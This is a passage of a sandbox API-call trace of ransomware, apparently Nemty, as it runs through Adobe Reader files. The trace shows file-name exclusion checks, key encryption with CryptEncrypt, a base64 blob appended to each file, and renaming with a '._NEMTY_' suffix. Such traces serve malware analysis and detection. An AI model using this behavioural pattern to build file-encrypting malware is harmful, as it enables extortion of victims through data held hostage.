(lpString1="nppdf32.POL", lpString2="AUTOEXEC.BAT") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="ntuser.dat") returned -1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="desktop.ini") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="CONFIG.SYS") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="RECYCLER") returned -1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="BOOTSECT.BAK") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="bootmgr") returned 1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="programdata") returned -1 [0170.526] lstrcmpiW (lpString1="nppdf32.POL", lpString2="appdata") returned 1 [0170.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.POL", lpUsedDefaultChar=0x0) returned 11 [0170.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.POL", lpUsedDefaultChar=0x0) returned 11 [0170.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.526] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.POL", lpUsedDefaultChar=0x0) returned 11 [0170.526] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.526] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.POL", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.POL", lpUsedDefaultChar=0x0) returned 11 [0170.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.527] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.527] Sleep (dwMilliseconds=0x5) [0170.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x194b7c30, dwHighDateTime=0x1d561e8)) [0170.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x194b7c30, dwHighDateTime=0x1d561e8)) [0170.537] GetLastError () returned 0x0 [0170.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.537] GetLastError () returned 0x0 [0170.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.537] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.537] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.537] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.537] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="wa4Ot1U80d7xSL/uBrss6Pmdc6xUZsohhbMLlDslwTI1AKPR3exh4Udr/lB8Nj88\r\nKxFPMeETaD7l21HKhcJuaMLyaY4WDdxbXOkCfPTHLj1G5DbP1YwWIlZFWr6r1Bnc\r\nmLf2pAKUSUFf2f/37WXoV+IoCpkJtJjM/aK3iZEYm96W3HXKALgcyK6rwlQFwLIs\r\nrtF5lfZ4c9gv3UZexefqjiKk8BkAP9JaSg69NLrDjy/AQvWcTG1TTFIEGFBO+hJJ\r\nGuM6XIk0G5Nk8XpvJKV2U/s1M/fBS4jq+kuxvVuLl6ftYUjlHXc4gNxReFVRYeA2\r\ni7Mh8q71luJANzxerEKKNQ==\r\n", pcchString=0x653e91c) returned 1 [0170.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.538] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.538] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=8192) returned 1 [0170.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0170.538] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.538] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x2000, lpOverlapped=0x0) returned 1 [0170.540] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.540] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x2000, lpOverlapped=0x0) returned 1 [0170.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.541] SetFilePointer (in: hFile=0x254, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0170.541] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.541] CloseHandle (hObject=0x254) returned 1 [0170.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.541] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.pol._nemty_kgobjgd_")) returned 1 [0170.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e0 | out: hHeap=0x4f90000) returned 1 [0170.542] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x802e0860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.PTB", cAlternateFileName="")) returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2=".") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="..") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="...") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="windows") returned -1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="$RECYCLE.BIN") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="rsa") returned -1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="NTDETECT.COM") returned -1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="ntldr") returned -1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="MSDOS.SYS") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="IO.SYS") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="boot.ini") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="boot.ini") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="ntuser.dat") returned -1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="desktop.ini") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="CONFIG.SYS") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="RECYCLER") returned -1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="BOOTSECT.BAK") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="bootmgr") returned 1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="programdata") returned -1 [0170.542] lstrcmpiW (lpString1="nppdf32.PTB", lpString2="appdata") returned 1 [0170.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.PTB", lpUsedDefaultChar=0x0) returned 11 [0170.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.PTB", lpUsedDefaultChar=0x0) returned 11 [0170.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.PTB", lpUsedDefaultChar=0x0) returned 11 [0170.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0170.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.PTB", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.PTB", lpUsedDefaultChar=0x0) returned 11 [0170.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942e0 [0170.543] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.543] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94368 [0170.543] Sleep (dwMilliseconds=0x5) [0170.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x194ddd90, dwHighDateTime=0x1d561e8)) [0170.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x194ddd90, dwHighDateTime=0x1d561e8)) [0170.553] GetLastError () returned 0x0 [0170.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0170.553] GetLastError () returned 0x0 [0170.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0170.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0170.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.553] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0170.553] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0170.553] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0170.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0170.553] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="I6Ja6zyYzltCGK3jzEN3afNd3SqwlYiVaNLxDJAHoFC110KjrAOnvfQ40ROpAOJG\r\nO8w3MTTcYRfFnPm+AqvIeD4vbBXmX1YFWfJ857NdPC2IKHChJmEM0delRjuLRI/9\r\npkSTbrJrJ6LuN3m0HHIBSwfS8T+u6Dx3sdaQmr4yvRpFmZfb1aDODNrX1hodRw3k\r\nx3S4p0FF5VZipr3UhFVWbmCGLGtDaNymbfEQo1dpDALwmXIZReYfyzDOYqk66RpF\r\n1pdz/WCcmpbeSXMHsIYDV4UZXxajGtsxag7nhcs5n3vn2875bfyhjcygNwP8m+HY\r\ngMWYPU1xLj9DyXxvAmLS0A==\r\n", pcchString=0x653e91c) returned 1 [0170.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0170.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.553] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0170.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0170.553] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0170.553] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0170.554] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0170.554] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0170.554] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.554] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0170.556] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.556] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0170.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0170.556] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0170.556] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0170.556] CloseHandle (hObject=0x254) returned 1 [0170.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63401b8 [0170.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0170.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0170.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0170.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0170.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0170.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0170.556] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0170.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0170.556] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0170.556] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ptb._nemty_kgobjgd_")) returned 1 [0170.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0170.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0170.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0170.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0170.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0170.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0170.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0170.557] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94368 | out: hHeap=0x4f90000) returned 1 [0170.557] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="nppdf32.RUM", cAlternateFileName="")) returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2=".") returned 1 [0170.557] lstrcmpiW (lpString1="nppdf32.RUM", lpString2="..") returned 1 [0170.557] lstrcmpiW 